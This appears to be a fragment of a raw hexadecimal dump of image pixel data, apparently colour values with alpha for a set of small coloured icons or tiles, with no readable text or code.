ECFF1568ECFF1669ECFF1669ECFF1669ECFF1669ECFF1669ECFF1669ECFF1568
ECFF1568ECFF1267ECFF1369F3FF4E6B99FF609953FF6DCE58FF6CCA59FF6DCB
58FF6DCB5AFF6DCB5AFF6DCB5AFF6DCB5AFF6DCB5AFF6DCB5AFF6DCB5AFF6DCB
5AFF6DCB58FF6CCA58FF6DD059FF6A8B66FF519690FF54C8BCFF54C6BAFF55C6
BBFF55C6BBFF57C5BBFF56C7BCFF58C7BCFF58C7BCFF56C7BCFF56C7BCFF57C5
BBFF55C6BBFF54C5BAFF54CBBFFF638A86FF854028FFA72F08FFA5310BFFA532
0CFFA6330DFFA6330DFFA6330DFFA6330DFFA6330DFFA6330DFFA6330DFFA633
0DFFA5320CFFA5310AFFA82E07FF875C4BFF2140A9FF063CE6FF083CE4FF0A3D
E4FF0A3EE4FF0A3EE4FF0A3EE4FF0A3EE4FF0A3EE4FF0A3EE4FF0A3EE4FF0A3E
E4FF093DE4FF083CE4FF053CE9FF495B95FF5F923CFF6DC133FF6DBF34FF6EBF
35FF6EBF35FF6EBF36FF6EBF36FF6EBF36FF6EBF36FF6EBF36FF6EBF36FF6EBF
35FF6EBF35FF6DBF33FF6EC433FF6A8758FF489998FF46CBC9FF48C7C7FF49C9
C7FF48C8C7FF4ACAC8FF49CAC8FF49CAC8FF49CAC8FF49CAC8FF4ACAC8FF48CA
C8FF49C9C7FF46C7C7FF47CECCFF5F8C8AFF782A24FF971309FF95160CFF9615
0CFF941208FF96180FFF98180FFF97180FFF97180FFF98180FFF96180FFF9618
0DFF951209FF941007FF991309FF794E49FFC6C4BBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29DFF619220FF72C305FF71C007FF72C0
09FF72C00BFF73C00AFF6CB70AFF6DB80AFF72BE0AFF73C00AFF73C00AFF72C0
09FF72C009FF71BF07FF72C306FF6C8749FFA37935FFDC9A28FFD89728FFDA98
2AFFD9982BFFD9992BFFDA992CFFDA992CFFDA992CFFDA992CFFDA992CFFD999
2BFFDA982AFFD89728FFDE9B28FF907953FF742425FF91080AFF8D090AFF951A
1BFFAA4748FF8D0507FF900E10FF900E10FF900E10FF900E10FF910E10FF8F09
0AFFAC4A4AFFA84446FF900304FF754949FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF3F20BBFF3800FFFF3A00FEFF3B01
FEFF3C02FEFF3200FDFF8D64FFFF8F67FFFF420BFFFF3200FDFF3C02FEFF3C02
FEFF3B01FEFF3A00FEFF3900FFFF58489DFF9A7D3FFFD1A23AFFCC9D38FFCC9B
38FFCE9E3AFFCD9D3AFFCF9F3BFFCF9F3BFFCF9F3BFFCF9F3BFFCF9F3BFFCE9E
3AFFCC9C38FFCD9D36FFD29F35FF8C7A58FF752424FF940C0CFF8D0404FFC179
79FFFFFFFFFF9A2626FF900C0CFF921010FF921010FF921010FF921010FF910D
0DFF981E1EFF951919FF920707FF764949FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF4526ADFF4310EEFF4110EAFF4011
EBFF3F0FEAFF582FECFFCABDF7FF2C00E8FF6E4BEFFFAC99F6FF3908E9FF4012
EBFF4111EBFF3F10EBFF3E0DF2FF5A4A96FF9B7D40FFD3A53FFFCFA23DFFCEA2
3FFFCE9D39FFCD9C38FFCF9E3AFFCF9F3AFFCF9F3BFFCF9F3BFFCF9F3BFFCE9E
3AFFCC9C38FFCD9D36FFD29F35FF8C7A58FF772420FF970C0CFF940E0EFF9C21
21FFAF4E48FF951818FF900E0EFF8F0B0BFF920D0AFF921010FF910E0EFF920E
0EFF8F0C0CFF8D0606FF920808FF764949FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF4526ADFF4612F0FF4815ECFF4515
EAFF3E0EEAFF562CECFFCDC2F9FF2A00E8FF6742EFFFA28BF4FF3A09E9FF4011
EBFF4110EBFF3E10EBFF3E0DF2FF5A4A96FF9C7E42FFD4A53FFFDBB55CFFD1A4
41FFD2A647FFD1A443FFCFA03DFFCE9D3AFFCE9D39FFCE9D39FFCE9E39FFCD9C
38FFCC9B36FFCC9A34FFD19F35FF8C7A58FF673359FFA01915FF990700FFA025
26FF7B215DFF98110BFF900100FFAC4137FF8E2C4AFF900B08FF961C1CFF9011
11FF8E0909FFA43D3DFF920808FF754747FFBEBEBBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9F9F9DFF3F20BBFF3D07FFFF3F0AFFFF400C
FFFF420EFFFF3401FEFF8160FFFF896CFFFF3A0EFEFF2B00FDFF3405FFFF3405
FDFF3204FDFF3103FDFF3301FFFF56489DFF9D7E41FFDFAE36FF928DE0FFDFB4
42FFD2A645FFD3A849FFD3A849FFD3A84AFFD3A748FFD2A646FFD2A645FFD0A5
44FFD1A544FFD2A544FFD7AB46FF8D7B5AFF99655BFFB4B1FCFF8A4D96FFC776
6FFF324BFFFFCB5733FFBFA4D0FF9F8CDDFF98293CFF970A07FFC57B7BFFA631
31FF991111FF960909FFBE5D5DFF805F5FFF8F92B3FFBFC4F9FFBCC0F5FFBDC2
F5FFBDC1F5FFBDC1F5FFBDC1F5FFBDC1F5FFBDC1F5FFBDC1F5FFBDC1F5FFBDC1
F5FFBDC2F5FFBCC0F5FFC1C7FDFF848699FFA18320FFDEB000FFDBAC00FFDCAD
03FFDCAD04FFDCAF04FFD7A704FFD7A804FFDBAB03FFDBAC02FFDBAC01FFDBAC
01FFDBAC00FFDBAC00FFE2B200FF8E7C48FFA08445FFBDADB8FF393AFFFF9A92
D5FFDDB75DFFD3A747FFD4AA4BFFD4AA4BFFD4AA4BFFD4AA4BFFD4AA4BFFD4A9
4AFFD4A949FFD2A848FFD9AC47FF8C7B5AFF514CB2FF5E52EDFF6970FFFF565E
FFFF1B1BFFFF727CFFFF5557FFFF5D55EDFF7348B2FFA11209FF9B0F0FFF9C13
13FF9B0F0FFF9A0B0BFFA92525FF784B4BFF2631A6FF172DE4FF192EE2FF1C2E
E2FF1D30E2FF1D30E2FF1D30E2FF1D30E2FF1D30E2FF1D30E2FF1D30E2FF1D30
E2FF1C2EE2FF1A2EE2FF162DE7FF4A5091FF997B24FFD3A510FFD1A313FFD1A4
14FFD1A417FFD1A417FFD1A417FFD1A417FFD1A417FFD1A417FFD1A417FFD1A4
16FFD1A415FFD1A313FFD6A70FFF8A7849FF9D8041FFDDAC37FFC2B0B2FFDBAB
36FFD5A847FFD5A949FFD5AB4AFFD5AB4AFFD5AB4AFFD5AB4AFFD5AB4AFFD5A9
49FFD4AA48FFD4A847FFDBAF48FF8C7A59FF75496DFF9674CCFF909CFFFFB9AF
EDFF2527FFFF938CF3FFAFB8FFFFA16DA9FF983D68FF9F0C08FF9E1111FF9C0B
0BFFBE6262FFBB5A5AFF9E0202FF764747FF2D38A7FF233AE8FF263AE4FF263B
E4FF283BE4FF273BE4FF273BE5FF273CE5FF273CE5FF273BE5FF273BE4FF283B
E4FF273BE4FF243AE4FF233AEBFF4E5391FF9B7A22FFD5A60BFFD1A40EFFD2A5
10FFD2A511FFD2A511FFD2A511FFD2A511FFD2A511FFD2A511FFD2A511FFD2A5
11FFD2A510FFD1A40EFFD8A80AFF8A7748FFA2874BFFDDB760FFDDB65EFFD9B3
5FFFD9B35FFFD9B55FFFDAB460FFDAB460FFDAB460FFDAB460FFDAB460FFD9B5
5FFFD9B35EFFD9B45EFFDDB55FFF9A8965FF806B9DFFBCA5DBFFC86756FFC46B
6BFF5065FFFFBE3B1DFF964F82FFBCB9F8FFBB7388FFA92D2BFFAB3333FFAB33
33FFA83030FFA92C2CFFAD3232FF855555FF3841ACFF4453EDFF4150E9FF4152
E9FF4251E9FF4253E9FF4253E9FF4253E9FF4253E9FF4253E9FF4253E9FF4251
E9FF4152E9FF4051E9FF4252EDFF5B60A0FF9F812FFFDAB232FFD6AE30FFD6AF
31FFD6AF32FFD6AF32FFD6AF32FFD6AF32FFD6AF32FFD6AF32FFD6AF32FFD6AF
32FFD6AE31FFD6AE30FFDCB130FF988655FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFDCDCDCFFC2C2C1FFC2C2C1FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C1FFC0C0C0FFFFFFFFFFDCDCDCFFC1C1C1FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC1C1C2FFC0C0C0FFFFFFFFFFDCDCDCFFC2C1C1FFC2C2C1FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C1C1FFC0C0C0FFFFFFFFFF9C6D48FFDD8E4AFFDA8C49FFDA8B
4AFFDA8B4AFFDA8B4AFFDA8B4AFFDA8A49FFD78540FFDC9354FFD58139FFD785
41FFDA8B4AFFDA8C49FFE08F4BFF8B725FFF3F359EFF3C29E4FF3A27DFFF3B26
DFFF3B26DEFF3B27DEFF2D18DCFFA196F0FF8172EAFF311CDCFF3B27DEFF3B26
DEFF3B26DFFF3A26DFFF3E28E7FF5B568EFFB39F61FFFFE378FFFEDE75FFFEDD
74FFFEDD74FFFEDD75FFFEDD75FFFEDD75FFFEDD75FFFEDD75FFFEDD75FFFEDD
74FFFDDC73FFFDDD74FFFFE679FF998E6AFF208DBCFF01C9FFFF01C4FFFF01C4
FFFF01C4FFFF01C4FFFF01C3FFFF01C3FFFF01C3FFFF01C3FFFF01C4FFFF01C4
FFFF01C4FFFF01C4FFFF01CCFFFF48839DFF9E6E48FFD58746FFD18646FFD186
47FFD18747FFCF8442FFD08443FFCC7733FFF9EDE4FFFFFFFFFFFFFFFFFFE7C0
A0FFCE7B39FFD18646FFD78945FF8F745FFF3F33A0FF3722D8FF3724D4FF3825
D4FF3725D4FF321DD2FF5746DBFFFFFFFCFFFFFFFBFF412FD5FF3520D3FF3725
D4FF3825D4FF3722D4FF3623DBFF58538EFFAE9660FFEBC46EFFE7C06DFFE7C0
6EFFE7C26EFFE7C16EFFE7C16EFFE7C16EFFE7C16EFFE7C16EFFE7C16EFFE7C2
6EFFE7C06DFFE6BF6CFFEDC56FFF978A6AFF218BBDFF06B6FFFF08B4FFFF0AB4
FFFF0AB4FFFF0AB4FFFF0AB5FFFF0AB5FFFF0AB5FFFF0AB5FFFF0AB4FFFF0AB4
FFFF09B4FFFF08B4FFFF06B7FFFF49829FFF9D6D46FFD48644FFD18545FFCF84
43FFCF7D3BFFDEA778FFD99B66FFE2B28AFFF1DCCBFFFFFFFFFFFFFFFFFFFFFF
FFFFD89963FFCF823FFFD78643FF8E725DFF3C2F9EFF321ED5FF341FD1FF3522
D3FF341FD2FF2D1AD1FFFFFFFBFFFCFCFBFFFEFFFBFFF0F0F9FF240FCFFF3520
D2FF3522D3FF3220D1FF321DD8FF57508EFFB3A896FFF6E5C9FFF4E1C5FFF4E3
C6FFF4E3C6FFF4E3C6FFF8E5C8FFF9E7C8FFF9E6C8FFF5E4C7FFF4E3C6FFF4E3
C6FFF2E2C5FFF3E2C4FFF8E7CAFF99938AFF2185BBFF07ACFFFF0AAAFFFF0BAB
FFFF0CABFFFF0CABFFFF0CABFFFF0CABFFFF0CABFFFF0CABFFFF0CABFFFF0CAB
FFFF0BABFFFF09AAFFFF07AEFFFF49809DFF9D6B45FFD38340FFCE8240FFD185
46FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFF9F1EBFFCA742FFFD68541FF8D715CFF3A2C9DFF2E1BD3FF311CD1FF311E
D0FF1C0AD2FFD8D8FDFFFFFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFBBB6F6FF1E0C
D1FF321FD0FF2F1DD1FF2F1AD6FF564F8CFFB9BBBDFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFD6E8F8FFB6D5EFFFC6DFF4FFF5FAFFFFFFFFFFFFFEFF
FFFFFEFFFFFFFEFFFFFFFFFFFFFF9D9D9DFF2184C0FF00A6FCFF02A6FBFF04A6
FBFF04A7FBFF05A7FBFF05A7FBFF05A7FBFF05A7FBFF05A7FBFF04A7FBFF04A7
FBFF04A6FBFF02A6FBFF00ABFFFF497DA1FF9D6B45FFD38340FFCF803CFFEDD0
B9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFDA9F6CFFD4823BFF8D715BFF392C9DFF2D18D3FF2F1CD1FF2412
D9FF8A6DB3FFFDE6B8FFEED6B6FFEED6B6FFEED6B6FFEED6B6FFFFEAB8FF6A50
B8FF2815D7FF2F1ACFFF2C18D6FF554E8DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFBDD7ECFF76ACD8FF54A0D9FF71A9D7FFADCFE9FFFEFEFDFFFEFE
FEFFFEFEFEFFFEFEFEFFFFFFFFFF9C9C9DFF922020FFBF0000FFBD0000FFBE00
00FFBE0100FFBE0100FFBE0100FFBE0100FFBE0100FFBE0100FFBE0100FFBE01
00FFBE0000FFBD0000FFC20000FF854848FF9D6D46FFD48846FFCE7B39FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFD89862FFD4833CFF8D715BFF3A2C9DFF331DD4FF2C19D7FF472B
B1FFD88100FFC67000FFC67000FFC67000FFC67000FFC67000FFC77000FFD580
00FF3721C7FF2C19D4FF2D18D6FF564E8DFFB8B8B8FFFFFFFFFFFFFFFFFFFFFF
FFFFF3F6FAFFA1C7E5FF49A3E0FF44ABE8FF40A7E6FF94BDE2FFE6EFF7FFFFFF
FEFFFEFEFEFFFEFEFEFFFFFFFFFF9C9C9CFF872525FFB20C0CFFAD0D0DFFAD0E
0EFFAF1010FFAF1010FFAF1010FFAF1010FFAF1010FFAF1010FFAF1010FFAF0F
0FFFAD0E0EFFAE0C0CFFB00909FF804A4AFF9E6E46FFD58948FFCF7C3AFFF7EB
E0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFF3E1D1FFD18546FFD5843EFF8D715BFF3A2E9DFF3520D7FF3C26DAFFDC89
0BFFD77D0AFFD57806FFD47200FFD57200FFD57300FFD57300FFD67A08FFD981
08FFCD7818FF2A18E1FF2C18D7FF564E8DFFB8B8B8FFFFFFFFFFFFFFFFFFFFFF
FFFFFCFCFDFFA8CDEAFF4E99D3FF42AEEDFF4296D4FF97C1E4FFEEF4F9FFFFFF
FEFFFEFEFEFFFEFEFEFFFFFFFFFF9C9C9CFF872424FFB40E0EFFB21111FFB110
10FFAD0F0EFFAE0F0FFFAE0F0FFFAF100FFFAF1010FFAF1010FFAF1010FFAF0F
0FFFAE0E0EFFAE0C0CFFB00909FF804A4AFF9E6F4AFFD58641FFEED2BBFFFCFA
F9FFE9C8ABFFFCFAF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFE2B58FFFCD7936FFD58641FF8D715CFF3C2F9EFF3B23ECFF3A2A38FF4B35
0EFF48452DFF4E8071FF51C2C4FF4CBABDFF4DB9BDFF4CC2C6FF46695BFF4038
20FF452D04FF2E1F4DFF2F19E8FF554F8DFFB8B8B8FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFD8E7F4FF9BC6E5FF77ABD7FF92BFE3FFCCDFF0FFFFFFFFFFFEFE
FEFFFEFEFEFFFEFEFEFFFFFFFFFF9C9C9CFF922420FFC60F00FFBE1200FFBF15
00FFBF1500FFBD1400FFBA1100FFB70E00FFB80F00FFB80F00FFB80F00FFB80E
00FFB70D00FFB80B00FFC00A00FF854948FF9E6E48FFDB975BFFECCDB3FFD083
3EFFD28544FFDEA97AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFDCA371FFD48B4DFFDB9351FF8F735DFF3F31A8FF271B79FF0C0F04FF1010
13FF142930FF1F7991FF2CE2FFFF2CDFFFFF2BE1FFFF28D6FCFF1B738BFF111F
23FF0E0F12FF0C0F00FF311F9EFF574F92FFBBBDBEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFF8FDFFFFE4F2FFFFE9F6FFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9DA0FF2126C4FF0410FFFF0713FBFF0A16
FBFF0B17FBFF0B17FBFF0B17FBFF0B17FBFF0A16FBFF0915FBFF0815FBFF0815
FBFF0714FBFF0512FBFF0410FFFF494BA2FF9E704AFFD99151FFD38B4CFFD792
55FFD69153FFD48C4DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E9DCFFE4B8
92FFD68E50FFD59052FFDC9454FF8F735DFF382C89FF0C0E00FF131313FF1515
15FF160F0EFF1F535CFF247384FF2DBCD8FF2EBFDBFF226874FF1D4148FF1510
0FFF151515FF131312FF0D0E05FF554F87FFA88E72FFE6C198FFE3BF97FFE3BF
98FFE3BF98FFE3BF98FFE5BF98FFE7C198FFE6C098FFE4BF98FFE3BF98FFE3BF
98FFE3BF97FFE4BD96FFE9C49AFF928374FF2424B9FF1010FFFF1313FFFF1415
FFFF1717FFFF1717FFFF1717FFFF1717FFFF1717FFFF1717FFFF1717FFFF1616
FFFF1515FFFF1313FFFF0F0FFFFF49499DFF9E6F49FFDB9553FFD79253FFD792
54FFD79254FFD58F50FFDDA471FFF2DAC6FFEDCFB4FFD79456FFD58A49FFD58E
4EFFD79254FFD79252FFDE9655FF8D725CFF202220FF0B0B0AFF0E0E0EFF1010
10FF111111FF0F0807FF184046FF16373DFF131B1CFF173C42FF0F0A09FF1111
11FF101010FF0E0E0EFF0A0A08FF474847FFA48867FFE5B98AFFE2B789FFE2B7
89FFE2B78AFFE2B78AFFE2B78AFFE2B78AFFE2B78AFFE2B78AFFE2B78AFFE0B7
8AFFE1B689FFE1B688FFE6BB8BFF8F7E6DFF2222B8FF0B0BFFFF0E0EFFFF1010
FFFF1111FFFF1111FFFF1111FFFF1111FFFF1111FFFF1111FFFF1111FFFF1111
FFFF1010FFFF0E0EFFFF0A0AFFFF48489BFFA57650FFE0A26BFFDDA068FFDDA0
69FFDDA069FFDDA069FFDC9D65FFDA995FFFDA9A60FFDC9E68FFDDA069FFDDA0
69FFDDA069FFDDA068FFE1A26BFF9C8068FF2F2F2DFF323232FF303030FF3131
31FF323232FF323232FF312D2CFF313233FF322F2FFF312E2DFF323232FF3232
32FF313131FF303030FF303030FF555555FFA98F6FFFE8C39AFFE6C097FFE7C1
98FFE7C198FFE7C198FFE7C198FFE7C198FFE7C198FFE7C198FFE7C198FFE7C1
98FFE6C097FFE5C096FFEAC49AFF9E8F7BFF2F2FBFFF3232FFFF3030FFFF3131
FFFF3232FFFF3232FFFF3232FFFF3232FFFF3232FFFF3232FFFF3232FFFF3232
FFFF3131FFFF3030FFFF3030FFFF5555ABFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBEFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0BFFFC0C0BFFFBFBFBFFFFFFFFFFFDCDCDCFFC2C2C2FFC4C4C4FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC4C4C4FFC0C0C0FFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFBFC0C0FFBFC0C0FFBFBFBFFFFFFFFFFF60282AFF731010FF701011FF7110
12FF711112FF711112FF711112FF711112FF72110EFF741009FF740E05FF6F08
02FF58072FFF3F0260FF401DA2FF6A678DFF662F31FF831920FF811A20FF811A
21FF880E12FF29A4C4FF01E0FFFF05DBFFFF05DBFFFF05E2FFFF0591FFFF0510
FFFF051BFFFF041AFFFF0218FFFF48509AFF2F2F2FFF1C1C1CFF1A1A1AFF1B1B
1BFF1B1B1BFF1C1C1CFF1C1C1CFF1C1C1CFF1C1C1CFF1C1C1CFF1C1C1CFF1B1B
1BFF1B1B1BFF1B1B1BFF1D1D1DFF535353FF734635FF994327FF964328FF9543
28FF964329FF964329FF964329FF964329FF964329FF964329FF964329FF9643
28FF954428FF964327FF9A4427FF765C53FF602828FF6D0F10FF6D1110FF6E12
11FF6F110EFF71100AFF710E05FF6D0A03FF56082FFF3C0462FF3F1E9FFF7368
E3FFB0ADF7FFE9ECFFFFFFFFFFFFA3A4A1FF6B2B32FF81141FFF801621FF8117
22FF880B14FF2E9EBDFF07D7FFFF0CD1FFFF0CD1FFFF0CD8FFFF0C8AFEFF0C0D
FEFF0B17FEFF0A16FEFF0814FFFF494F9EFF2C2C2CFF161616FF181818FF1919
19FF191919FF181818FF181818FF181717FF181818FF181616FF181211FF1919
19FF191919FF171717FF151515FF4E4E4EFF734637FF8F432CFF8E432CFF8E44
2DFF8F452CFF8F452EFF8F452EFF8F452EFF8F452EFF8F452EFF8F452EFF8F45
2DFF8C422BFF8E432CFF91422BFF785D55FF602523FF6F0C05FF700D02FF6C08
01FF56062EFF3B0360FF391B9CFF6864E0FFA7A7F3FFFBF4FFFFE8FFFDFF99D8
E2FFA1CED8FFFFFFFFFFFFFFFFFF9E9E9EFF6A282FFF81101EFF821220FF8112
22FF8A0613FF2F9BBDFF0BD6FFFF0ED3FFFF0ED3FFFF0FD7FFFF0F87FDFF0F08
FEFF0E12FEFF0C12FEFF0A10FFFF494D9EFF282828FF111111FF131313FF1313
13FF151515FF140D0CFF130B09FF151D1EFF130704FF152427FF186672FF140F
0DFF141414FF111111FF101010FF4B4B4BFF724638FF8D422CFF8C442FFF8D45
